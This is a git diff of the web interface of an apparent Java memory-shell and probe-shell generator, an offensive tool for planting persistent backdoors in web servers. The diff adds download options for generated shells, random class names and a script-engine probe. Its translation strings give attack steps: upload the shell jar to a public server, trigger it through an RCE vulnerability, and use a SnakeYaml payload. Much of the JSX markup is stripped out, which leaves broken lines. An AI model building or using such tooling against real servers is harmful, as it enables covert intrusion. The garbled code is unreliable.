MemShellResult; +}>) { const { t } = useTranslation(); + const isPureJar = packMethod === "Jar"; return ( -
- -
+ + + + + {t("common:usage")} + + + +
    +
  1. + + {t("common:download")} shell.jar ( + {formatBytes(atob(packResult).length)}) + + +
  2. + + {isPureJar ? ( + <> +
  3. {t("memshell:tips.download-jar")}
  4. +
  5. {t("memshell:tips.trigger-injector-class-loading")}
  6. + + ) : ( + <> +
  7. {t("memshell:tips.download-jar")}
  8. +
  9. {t("memshell:tips.load-jar-with-scriptenginemanager")}
  10. + SnakeYaml Payload} + /> + + )} +
+
+
); } diff --git a/web/src/components/memshell/results/multi-packer.tsx b/web/src/components/memshell/results/multi-packer.tsx index 7500b8dc..fdcc2bfb 100644 --- a/web/src/components/memshell/results/multi-packer.tsx +++ b/web/src/components/memshell/results/multi-packer.tsx @@ -1,6 +1,8 @@ +import { DownloadIcon } from "lucide-react"; import { useEffect, useState } from "react"; import { useTranslation } from "react-i18next"; import CodeViewer from "@/components/code-viewer"; +import { Button } from "@/components/ui/button"; import { Select, SelectContent, @@ -8,32 +10,67 @@ import { SelectTrigger, SelectValue, } from "@/components/ui/select"; +import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils"; export function MultiPackResult({ allPackResults, packMethod, + shellClassName, height = 350, }: Readonly<{ allPackResults: object | undefined; packMethod: string; + shellClassName?: string; height?: number; }>) { const showCode = packMethod === "JSP"; const { t } = useTranslation(); const packMethods = Object.keys(allPackResults ?? {}); + const [selectedMethod, setSelectedMethod] = useState(packMethods[0]); const [packResult, setPackResult] = useState( allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", ); useEffect(() => { - const methods = Object.keys(allPackResults ?? {}); - const firstMethod = methods[0]; - setSelectedMethod(firstMethod); - setPackResult( - allPackResults?.[firstMethod as keyof typeof allPackResults] ?? "", - ); - }, [allPackResults]); + const newPackMethods = Object.keys(allPackResults ?? {}); + if (!newPackMethods.includes(selectedMethod)) { + const newSelectedMethod = newPackMethods[0]; + setSelectedMethod(newSelectedMethod); + setPackResult( + allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ?? + "", + ); + } else { + setPackResult( + allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "", + ); + } + }, [allPackResults, selectedMethod]); + + const handleDownload = () => { + const fileName = + shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; + if (packMethod === "JSP") { + const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp"; + const content = new Blob([packResult], { type: "text/plain" }); + return downloadContent(content, fileName, fileExtension); + } else if ( + packMethod === "JavaDeserialize" || + packMethod.includes("Hessian") + ) { + const content = new Blob([base64ToBytes(packResult)], { + type: "application/octet-stream", + }); + return downloadContent(content, fileName, ".data"); + } else if (packMethod === "Base64") { + const base64Content = + allPackResults?.[ + Object.keys(allPackResults)[0] as keyof typeof allPackResults + ] ?? ""; + return downloadBytes(base64Content, shellClassName); + } + }; return ( ({packResult?.length}) } + button={ + packMethod === "JSP" || + packMethod === "Base64" || + packMethod === "JavaDeserialize" || + packMethod.includes("Hessian") ? ( + + ) : null + } wrapLongLines={!showCode} showLineNumbers={showCode} language={showCode ? "java" : "text"} diff --git a/web/src/components/memshell/results/result-component.tsx b/web/src/components/memshell/results/result-component.tsx index d957f3f5..d423cbb3 100644 --- a/web/src/components/memshell/results/result-component.tsx +++ b/web/src/components/memshell/results/result-component.tsx @@ -18,17 +18,17 @@ export function ResultComponent({ }>) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); - const isJar = packMethod === "Jar"; + const isJar = packMethod.endsWith("Jar"); const { t } = useTranslation(); if (allPackResults) { return ( ); } - if (isAgent) { return ( ); } - if (!isAgent && !isJar) { - return ( - - - {t("common:packerMethod")}:{packMethod} - - - ({packResult?.length}) - - - } - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} - height={350} - /> - ); - } - return null; + + return ( + + + {t("common:packerMethod")}:{packMethod} + + ({packResult?.length}) + + } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + ); } diff --git a/web/src/components/memshell/tabs/classname-field.tsx b/web/src/components/memshell/tabs/classname-field.tsx index f4730f67..17fedcf8 100644 --- a/web/src/components/memshell/tabs/classname-field.tsx +++ b/web/src/components/memshell/tabs/classname-field.tsx @@ -1,42 +1,83 @@ -import { ChevronDown, ChevronUp, Settings } from "lucide-react"; -import { Fragment, useState } from "react"; +import { Shuffle } from "lucide-react"; +import { Fragment, useEffect, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { Button } from "@/components/ui/button"; import { FormField, FormFieldItem, FormFieldLabel, } from "@/components/ui/form.tsx"; import { Input } from "@/components/ui/input.tsx"; +import { Switch } from "@/components/ui/switch.tsx"; import type { MemShellFormSchema } from "@/types/schema.ts"; export function OptionalClassFormField({ form, }: Readonly<{ form: UseFormReturn }>) { const { t } = useTranslation(["memshell", "common"]); - const [showAdvanced, setShowAdvanced] = useState(false); + const initialShellClassName = form.getValues("shellClassName") ?? ""; + const initialInjectorClassName = form.getValues("injectorClassName") ?? ""; + const [useRandomClassName, setUseRandomClassName] = useState( + () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()), + ); + const [savedShellClassName, setSavedShellClassName] = useState( + initialShellClassName, + ); + const [savedInjectorClassName, setSavedInjectorClassName] = useState( + initialInjectorClassName, + ); + const shellClassName = form.watch("shellClassName"); + const injectorClassName = form.watch("injectorClassName"); + + useEffect(() => { + if (!useRandomClassName) { + setSavedShellClassName(shellClassName ?? ""); + } + }, [shellClassName, useRandomClassName]); + + useEffect(() => { + if (!useRandomClassName) { + setSavedInjectorClassName(injectorClassName ?? ""); + } + }, [injectorClassName, useRandomClassName]); + + useEffect(() => { + if ( + useRandomClassName && + (shellClassName?.trim() || injectorClassName?.trim()) + ) { + setUseRandomClassName(false); + } + }, [injectorClassName, shellClassName, useRandomClassName]); + + const handleToggleRandomClass = (checked: boolean) => { + setUseRandomClassName(checked); + if (checked) { + setSavedShellClassName(form.getValues("shellClassName") ?? ""); + setSavedInjectorClassName(form.getValues("injectorClassName") ?? ""); + form.setValue("shellClassName", ""); + form.setValue("injectorClassName", ""); + } else { + form.setValue("shellClassName", savedShellClassName ?? ""); + form.setValue("injectorClassName", savedInjectorClassName ?? ""); + } + }; + return ( -
- +
+
+ + {t("mainConfig.randomClassName")} +
+
- {showAdvanced && ( - + + {!useRandomClassName && ( )} /> + )} + {!useRandomClassName && ( )} /> - - )} + )} + ); } diff --git a/web/src/components/memshell/tabs/custom-tab.tsx b/web/src/components/memshell/tabs/custom-tab.tsx index a7e7260f..afa0d18d 100644 --- a/web/src/components/memshell/tabs/custom-tab.tsx +++ b/web/src/components/memshell/tabs/custom-tab.tsx @@ -1,6 +1,7 @@ -import { useState } from "react"; +import { useEffect, useRef, useState } from "react"; import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { toast } from "sonner"; import { Card, CardContent } from "@/components/ui/card"; import { FormControl, @@ -14,6 +15,7 @@ import { Label } from "@/components/ui/label"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { TabsContent } from "@/components/ui/tabs"; import { Textarea } from "@/components/ui/textarea"; +import { env } from "@/config.ts"; import type { MemShellFormSchema } from "@/types/schema"; import { OptionalClassFormField } from "./classname-field"; import { ShellTypeFormField } from "./shelltype-field"; @@ -28,6 +30,65 @@ export default function CustomTabContent({ }>) { const [isFile, setIsFile] = useState(false); const { t } = useTranslation(["memshell", "common"]); + const shellClassBase64 = form.watch("shellClassBase64"); + const lastParsedBase64Ref = useRef(undefined); + const classNameEndpoint = `${env.API_URL}/className`; + + useEffect(() => { + if (!shellClassBase64) { + lastParsedBase64Ref.current = undefined as string | undefined; + return; + } + + if (shellClassBase64 === lastParsedBase64Ref.current) { + return; + } + + const controller = new AbortController(); + const timer = setTimeout(() => { + const parseClassName = async () => { + try { + const response = await fetch(classNameEndpoint, { + method: "POST", + headers: { + "Content-Type": "text/plain", + }, + body: shellClassBase64, + signal: controller.signal, + }); + + if (!response.ok) { + throw new Error(response.statusText); + } + + const className = await response.text(); + + if (!className) { + throw new Error("EMPTY_CLASS_NAME"); + } + + lastParsedBase64Ref.current = shellClassBase64; + form.setValue("shellClassName", className, { + shouldDirty: true, + }); + } catch (error) { + if ((error as Error)?.name === "AbortError") { + return; + } + + toast.error(t("memshell:tips.classNameParseFailed")); + } + }; + + void parseClassName(); + }, 400); + + return () => { + clearTimeout(timer); + controller.abort(); + }; + }, [classNameEndpoint, form, shellClassBase64, t]); + return ( diff --git a/web/src/components/probeshell/main-config-card.tsx b/web/src/components/probeshell/main-config-card.tsx index 168615b8..6d8234f8 100644 --- a/web/src/components/probeshell/main-config-card.tsx +++ b/web/src/components/probeshell/main-config-card.tsx @@ -31,6 +31,7 @@ const PROBE_OPTIONS = [ { value: "JDK" as const, label: "jdk" }, { value: "Command" as const, label: "command" }, { value: "Bytecode" as const, label: "bytecode" }, + { value: "ScriptEngine" as const, label: "script" }, ] as const; const MIDDLEWARE_OPTIONS = [ @@ -57,7 +58,6 @@ const PROBE_METHOD_OPTIONS = [ const DEFAULT_FORM_VALUES = { reqParamName: "payload", - reqHeaderName: "X-PAYLOAD", sleepServer: "Tomcat", seconds: 5, } as const; @@ -74,7 +74,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const filteredOptions = useMemo(() => { const filterMap = { - ResponseBody: ["Command", "Bytecode"], + ResponseBody: ["Command", "Bytecode", "ScriptEngine"], DNSLog: ["JDK", "Server"], Sleep: ["Server"], } as const; @@ -208,12 +208,14 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { const renderDynamicFields = useCallback(() => { const isBodyMethod = watchedProbeMethod === "ResponseBody"; - const isCommandOrBytecode = - watchedProbeContent === "Command" || watchedProbeContent === "Bytecode"; + const needParam = + watchedProbeContent === "Command" || + watchedProbeContent === "Bytecode" || + watchedProbeContent === "ScriptEngine"; const isSleepMethod = watchedProbeMethod === "Sleep"; const isServerContent = watchedProbeContent === "Server"; - if (isBodyMethod && isCommandOrBytecode) { + if (isBodyMethod && needParam) { return RequestParamField; } @@ -258,11 +260,13 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { - {Object.keys(servers ?? {}).map((server: string) => ( - - {server} - - ))} + {Object.keys(servers ?? {}) + .filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB") + .map((server: string) => ( + + {server} + + ))} @@ -324,6 +328,24 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) { )} /> + ( + + + + + + + )} + />
), [form.control, t], diff --git a/web/src/components/probeshell/shell-result.tsx b/web/src/components/probeshell/shell-result.tsx index 72a30669..f91ffeaf 100644 --- a/web/src/components/probeshell/shell-result.tsx +++ b/web/src/components/probeshell/shell-result.tsx @@ -40,6 +40,7 @@ export default function ShellResult({ {allPackResults && ( diff --git a/web/src/i18n/common/en.json b/web/src/i18n/common/en.json index ea8f1db6..6d6477c8 100644 --- a/web/src/i18n/common/en.json +++ b/web/src/i18n/common/en.json @@ -28,6 +28,7 @@ "server": "Server", "serverVersion": "Server Version", "shrink": "Shrink", + "staticInitialize": "StaticInitialize", "toast.generateError": "Generation failed, {{error}}", "toast.generateSuccess": "Generation successful", "urlPattern": "URL Pattern", diff --git a/web/src/i18n/common/zh-CN.json b/web/src/i18n/common/zh-CN.json index 934c2023..0ff9c890 100644 --- a/web/src/i18n/common/zh-CN.json +++ b/web/src/i18n/common/zh-CN.json @@ -28,6 +28,7 @@ "server": "服务类型", "serverVersion": "服务版本", "shrink": "缩小字节码", + "staticInitialize": "静态初始化", "toast.generateError": "生成失败,{{error}}", "toast.generateSuccess": "生成成功", "urlPattern": "请求路径", diff --git a/web/src/i18n/memshell/en.json b/web/src/i18n/memshell/en.json index dfabd955..8965a5a3 100644 --- a/web/src/i18n/memshell/en.json +++ b/web/src/i18n/memshell/en.json @@ -6,6 +6,7 @@ "classNameOptions": "ClassNameOptions", "injectorClass": "InjectorClass", "mainConfig.injectorClassName": "Injector ClassName", + "mainConfig.randomClassName": "Random Class Name", "mainConfig.shellClassName": "Shell ClassName", "mainConfig.shellMountType": "Shell Mount Type", "mainConfig.shellTool": "ShellTool", @@ -36,6 +37,7 @@ "shellToolConfig.neoreGeorgHeader": "Custom Header", "shellToolConfig.neoreGeorgKey": "Connection Key", "shellToolConfig.suo5Header": "AdvanceConfiguration -> Request Header", + "tips.classNameParseFailed": "Failed to parse class name, please verify the Base64 data", "tips.agent-move-to-target": "Move MemShellAgent.jar and jattach to target host", "tips.agent-move-to-target1": "Move MemShellAgent.jar to target host", "tips.controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller", @@ -52,5 +54,8 @@ "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello", "tips.targetServerNotFound": "Target server not found?", "tips.targetServerRequest": "Request", - "tips.try-to-use-shell": "Try to use the memory shell" + "tips.try-to-use-shell": "Try to use the memory shell", + "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", + "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", + "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" } diff --git a/web/src/i18n/memshell/zh-CN.json b/web/src/i18n/memshell/zh-CN.json index 177224ed..778a9fd0 100644 --- a/web/src/i18n/memshell/zh-CN.json +++ b/web/src/i18n/memshell/zh-CN.json @@ -7,6 +7,7 @@ "shellClass": "内存马", "classNameOptions": "类名配置项", "mainConfig.injectorClassName": "注入器类名", + "mainConfig.randomClassName": "随机类名", "mainConfig.shellClassName": "内存马类名", "mainConfig.shellMountType": "内存马挂载类型", "mainConfig.shellTool": "内存马功能", @@ -37,6 +38,7 @@ "shellToolConfig.neoreGeorgKey": "连接密钥", "shellToolConfig.suo5Header": "高级配置 -> 请求头", "tips.agent-move-to-target": "将 MemShellAgent.jar 和 jattach 移到到目标服务磁盘上", + "tips.classNameParseFailed": "无法解析类名,请检查 Base64 内容", "tips.agent-move-to-target1": "将 MemShellAgent.jar 移到到目标服务磁盘上", "tips.controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller", "tips.customShellClass": "请输入自定义内存马类,base64 或类文件", @@ -53,7 +55,7 @@ "tips.targetServerNotFound": "找不到目标服务?", "tips.targetServerRequest": "请求适配", "tips.try-to-use-shell": "尝试利用内存马", - "shellNotWork": { - "title": "利用失败?" - } + "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", + "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入", + "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" } diff --git a/web/src/i18n/probeshell/en.json b/web/src/i18n/probeshell/en.json index 9df96e4a..aeadd073 100644 --- a/web/src/i18n/probeshell/en.json +++ b/web/src/i18n/probeshell/en.json @@ -3,6 +3,7 @@ "dnslog.host": "DNSLog Host", "probeContent": "ProbeContent", "probeContent.bytecode": "Bytecode", + "probeContent.script": "ScriptEngine", "probeContent.command": "Command", "probeContent.jdk": "JDK", "probeContent.server": "Server", diff --git a/web/src/i18n/probeshell/zh-CN.json b/web/src/i18n/probeshell/zh-CN.json index 7379bb2c..4ecc3f47 100644 --- a/web/src/i18n/probeshell/zh-CN.json +++ b/web/src/i18n/probeshell/zh-CN.json @@ -2,7 +2,8 @@ "buttons.generate": "生成探测马", "dnslog.host": "DNSLog 地址", "probeContent": "探测内容", - "probeContent.bytecode": "自定义字节码执行", + "probeContent.bytecode": "字节码执行", + "probeContent.script": "脚本引擎执行", "probeContent.command": "命令执行", "probeContent.jdk": "JDK 信息", "probeContent.server": "服务类型", diff --git a/web/src/lib/utils.ts b/web/src/lib/utils.ts index bc8b4687..ae962470 100644 --- a/web/src/lib/utils.ts +++ b/web/src/lib/utils.ts @@ -5,24 +5,38 @@ export function cn(...inputs: ClassValue[]) { return twMerge(clsx(inputs)); } -export function downloadBytes( - base64String: string, - className?: string, - jarName?: string, +export function downloadContent( + content: Blob, + fileName: string, + fileExtension: string, ) { + const link = document.createElement("a"); + link.href = URL.createObjectURL(content); + link.download = `${fileName}${fileExtension}`; + document.body.appendChild(link); + link.click(); + document.body.removeChild(link); +} + +export function base64ToBytes(base64String: string) { const byteCharacters = atob(base64String); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } - const byteArray = new Uint8Array(byteNumbers); + return new Uint8Array(byteNumbers); +} - // Create a Blob from the byte array +export function downloadBytes( + base64String: string, + className?: string, + jarName?: string, +) { + const byteArray = base64ToBytes(base64String); const blob = new Blob([byteArray], { type: className ? "application/java-vm" : "application/java-archive", }); - // Create a download link const link = document.createElement("a"); link.href = window.URL.createObjectURL(blob); link.download = className @@ -39,15 +53,14 @@ export function formatBytes(bytes: number) { if (Number.isNaN(bytes) || !Number.isFinite(bytes)) return "N/A"; const k = 1024; - const sizes = ["Bytes", "KB", "MB"]; // Add more units like GB, TB if needed + const sizes = ["Bytes", "KB", "MB"]; if (bytes < k) { - return `${bytes.toFixed(0)} ${sizes[0]}`; // Bytes, no decimal + return `${bytes.toFixed(0)} ${sizes[0]}`; } const i = Math.floor(Math.log(bytes) / Math.log(k)); - // Prefer MB if KB value is 1000 or more, or if it's already in MB (i >= 2) if (i >= 2 || bytes / k ** 1 >= 1000) { const mbValue = Number.parseFloat((bytes / k ** 2).toFixed(2)); return `${mbValue} ${sizes[2]}`; diff --git a/web/src/pages/memshell.tsx b/web/src/pages/memshell.tsx index 5178ab4f..d15dfd7c 100644 --- a/web/src/pages/memshell.tsx +++ b/web/src/pages/memshell.tsx @@ -77,6 +77,7 @@ export default function MemShellPage() { injectorClassName: urlParams.injectorClassName ?? "", packingMethod: urlParams.packingMethod ?? "", shrink: urlParams.shrink ?? true, + staticInitialize: true, shellClassBase64: urlParams.shellClassBase64 ?? "", }, }); diff --git a/web/src/pages/probeshell.tsx b/web/src/pages/probeshell.tsx index d001d2ba..efbc886f 100644 --- a/web/src/pages/probeshell.tsx +++ b/web/src/pages/probeshell.tsx @@ -53,10 +53,10 @@ export default function ProbeShellGenerator() { host: "", server: "Tomcat", reqParamName: "payload", - reqHeaderName: "X-PAYLOAD", seconds: 5, sleepServer: "Tomcat", shrink: true, + staticInitialize: true, }, }); diff --git a/web/src/types/memshell.ts b/web/src/types/memshell.ts index a0dc5bfc..00349497 100644 --- a/web/src/types/memshell.ts +++ b/web/src/types/memshell.ts @@ -67,6 +67,7 @@ export interface InjectorConfig { injectorClassName?: string; classInheritance?: string; urlPattern?: string; + staticInitialize?: boolean; } export interface ConfigResponseType { diff --git a/web/src/types/probeshell.ts b/web/src/types/probeshell.ts index 850eedbd..a8979620 100644 --- a/web/src/types/probeshell.ts +++ b/web/src/types/probeshell.ts @@ -16,6 +16,7 @@ export interface ProbeConfig { debug?: boolean; byPassJavaModule?: boolean; shrink?: boolean; + staticInitialize?: boolean; } export interface ProbeContentConfig { @@ -24,7 +25,6 @@ export interface ProbeContentConfig { sleepServer?: string; server?: string; reqParamName?: string; - reqHeaderName?: string; } export interface DNSLogConfig { @@ -39,7 +39,6 @@ export interface SleepConfig { export interface ResponseBodyConfig { server: string; reqParamName: string; - reqHeaderName: string; } export interface PayloadFormValues { @@ -51,7 +50,6 @@ export interface PayloadFormValues { host?: string; server?: string; reqParamName?: string; - reqHeaderName?: string; sleepServer?: string; seconds?: number; packingMethod: string; diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index f3bc8dac..4614ecd4 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -1,6 +1,6 @@ import type { TFunction } from "i18next"; import { useCallback } from "react"; -import type { FieldErrors } from "react-hook-form"; +import type { FieldErrors, ResolverResult } from "react-hook-form"; import * as yup from "yup"; import { ShellToolType } from "./memshell"; @@ -10,6 +10,7 @@ export const memShellFormSchema = yup.object({ targetJdkVersion: yup.string().optional(), debug: yup.boolean().optional(), byPassJavaModule: yup.boolean().optional(), + staticInitialize: yup.boolean().optional(), shellClassName: yup.string().optional(), shellTool: yup.string().required().min(1), shellType: yup.string().required().min(1), @@ -29,10 +30,7 @@ export const memShellFormSchema = yup.object({ encryptor: yup.string().optional(), }); -interface ValidationResult { - values: MemShellFormSchema; - errors: FieldErrors; -} +type ValidationResult = ResolverResult; const urlPatternIsNeeded = (shellType: string) => { if (shellType.startsWith("Agent")) { @@ -58,7 +56,10 @@ export const useYupValidationResolver = ( t: TFunction, ) => useCallback( - async (data: MemShellFormSchema): Promise => { + async ( + data: MemShellFormSchema, + _context: any, + ): Promise => { try { const values = (await validationSchema.validate(data, { abortEarly: false, @@ -105,7 +106,7 @@ export const useYupValidationResolver = ( } catch (errors) { if (errors instanceof yup.ValidationError) { return { - values: {} as MemShellFormSchema, + values: {}, errors: errors.inner.reduce( (allErrors, currentError) => { allErrors[currentError.path as keyof MemShellFormSchema] = { @@ -120,7 +121,7 @@ export const useYupValidationResolver = ( } return { - values: {} as MemShellFormSchema, + values: {}, errors: { server: { type: "unknown", @@ -144,7 +145,6 @@ export const probeShellFormSchema = yup.object().shape({ host: yup.string().optional(), server: yup.string().optional(), reqParamName: yup.string().optional(), - reqHeaderName: yup.string().optional(), seconds: yup.number().optional(), sleepServer: yup.string().optional(), packingMethod: yup.string().required(), @@ -152,19 +152,20 @@ export const probeShellFormSchema = yup.object().shape({ debug: yup.boolean().optional(), byPassJavaModule: yup.boolean().optional(), shrink: yup.boolean().optional(), + staticInitialize: yup.boolean().optional(), }); -interface ProbeValidationResult { - values: ProbeShellFormSchema; - errors: FieldErrors; -} +type ProbeValidationResult = ResolverResult; export const useYupValidationProbeResolver = ( validationSchema: yup.ObjectSchema, t: TFunction, ) => useCallback( - async (data: ProbeShellFormSchema): Promise => { + async ( + data: ProbeShellFormSchema, + _context: any, + ): Promise => { try { const values = (await validationSchema.validate(data, { abortEarly: false, @@ -194,7 +195,7 @@ export const useYupValidationProbeResolver = ( } catch (errors) { if (errors instanceof yup.ValidationError) { return { - values: {} as ProbeShellFormSchema, + values: {}, errors: errors.inner.reduce( (allErrors, currentError) => { allErrors[currentError.path as keyof ProbeShellFormSchema] = { @@ -210,7 +211,7 @@ export const useYupValidationProbeResolver = ( } return { - values: {} as ProbeShellFormSchema, + values: {}, errors: { server: { type: "unknown", diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index b22b0170..124b0188 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -37,6 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) { const injectorConfig: InjectorConfig = { urlPattern: formValue.urlPattern, injectorClassName: formValue.injectorClassName, + staticInitialize: formValue.staticInitialize, }; return { shellConfig, @@ -54,6 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { shrink: formValue.shrink, debug: formValue.debug, byPassJavaModule: formValue.byPassJavaModule, + staticInitialize: formValue.staticInitialize, }; const probeContentConfig: ProbeContentConfig = { host: formValue.host, @@ -61,7 +63,6 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) { sleepServer: formValue.sleepServer, server: formValue.server, reqParamName: formValue.reqParamName, - reqHeaderName: formValue.reqHeaderName, }; return {